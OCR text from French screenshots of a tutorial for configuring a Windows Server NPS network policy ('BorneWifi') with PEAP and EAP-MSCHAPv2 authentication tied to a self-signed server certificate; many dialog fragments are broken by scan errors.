Vous pouvez spécifier le nom de votre stratégie réseau ainsi que le type des connexions auxguelles |a stratégie

3 sappligue.

Nom de la stratégie :

BomeWii

Méthode de connexion réseau

Sélectionnez le type de serveur d'accés réseau qui envoie la demande de connexion au serveur NPS. Vous pouvez sélectionner une
valeur dans Type de serveur d'accés réseau ou bien Spécifique au foumisseur, mais ces paramétres ne sont pas obligatoires. Si votre
serveur d'accés réseau est un commutateur d‘authentification ou un point d'accés sans fil 802.1X, sélectionnez Mon spécifié.

(®) Type de serveur d'accas réseau :

Non spécifié W

Condition

Groupes Windo:
Type de port NA
Groupes d'utilisg

Paramétres - Les

Paramétre
Allowed-Certificg
Configuration du
Etat étendu
Autorisation d'a
Méthode EAP (H
Méthnds A's: #h,

Clique droit sur stratégie réseau :

Nom de la stratégie :

Suivant

BorneWifi

O Spécifique au foumisseur :

10 =

Annuler
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Mouvelle stratégie réseau

E3)

[ - Spécifier les conditions
[

* Spécifiez les conditions gui déterminent si cette stratégie réseau est évalude pour une demande de connexion. Au
1 : minimum, une condition est nécessaire.

Sélectionnez une conditio

Groupes

w4 Groupeswind stratégie.
g La condition Gro =

Sélectionner une condition

Spécifiez |'appartenance awx groupes nécessaire pour comespondre 3 cette

1 daoit appartenir

a l'un des groupe Groupes

Groupes d ord
La condition Grg

groupes rélectio

Groupes d’util
La condition Grg
groupes électiol

HCAP

tenir & I'un des

enir & ['un des

Groupes d emg
La condition Gig

Hential

Authorization Prg
ankre IF' BRI

communication
rant A utiliser

Ajout un groupe Windows

Spécifiez |'appartenance aw: groupes nécessaire pour comespondre & cette
stratégie.

Groupes
RABANOV-GRE Clients
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Faire suivant

Mouvelle stratégie réseau 2.

[ * Configurer les méthodes d’authentification

"1 Configurez une ou plusieurs des méthodes d'authentification nécessaires pour que |la demande de connexion
corresponde & cette stratégie. Pour 'authentification EAP, vous dever configurer un type EAP. Sivous déployer la
protection d'accés réseau (NAF) avec une connexion 802.1X ou VPN, vous devez configurer le protocole PEAP
(Protected EAP) dans |a stratégie de demande de connexion, ce qui entraine le remplacement des paramétres
d'authentification de stratégie réseau.

4 Lestypes de protocoles EAF sont négocies entre le serveur NPS et le client dans |'ordre
dans lequel ils sont listés.

Types de protocoles EAP - Ajouter des protocoles EAP -

Méthodes d'authentification :

Microsoft: Carte & puce ou autre cerificat

Microsaft: PEAP (Protected EAP)

Microzoft: Mot de passe sécursé (EAP-MSCHAP version 2)

Modifier...
Méthodes d’authentification
[w] Authentification chiffrée Microl OK | | Annuler
L 'utilisateur peut modifier Ig
Authentification chiffrée Microsoft [MS-CHAF)
L'utilisateur peut modffier le mot de passe aprés son expiration
[ ] Authentification chiffrée {CHAP)
[] Authentification non chiffrée (PAP, SPAF)
[ ] Autoriser les clients & se connecter sans négocier une méthode d'authentification.
[ Verifier uniguement |'intégrité de |'ordinateur

| Précédent || Suivant | Terminer

Ajouter un type de protocole EAP : choisir « Microsoft PEAP (protected EAP). Cela fait référence au
certificat auto-signé créé précédemment.

Ensuite, il faut modifier celui-ci, et vérifier que le certificat est bien lié.
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Seélectionnez le certificat que le serveur doit utiliser comme preuve de son
identité auprés du dient. Un certificat configuré pour EAP Protégé dans la
stratégie de demande de connexion remplacera ce certificat,

Certificat delivré a : win2k12rabanov.rabanov-gré.local

Mom convivial ; win2k12-rabanov. rabanov-gré. local
Emetteur : win2k12rabanov.rabanov-gré. local

Date d'expiration : 28/04/2017 02:00:00

[] Activer la reconnexion rapide
[ | Déconnecter les dients sans chiffrement forcé

Mot de passe sécurisé (EAP-MSCHAP version 2)

Laisser ensuite les paramétres par défaut, et valider.

Note : Par défaut, il y aura des stratégies qu'il faudra désactiver et « mettre en dernier ». Il faut remonter
notre stratégie précédemment créé.

Mom de la stratégie Etat Ordre de tratement  Type d'accés Source
e Wifi Accorder'accés  Mon spécifié
Connexions au serveur Microsoft de Routage et Accés distants Activé 2 Refuserl'accés  Mon spécifié

Lﬂ&mncns a d'autres serveurs d'accés Activeé 3 Refuser'accés  Mon spécifié
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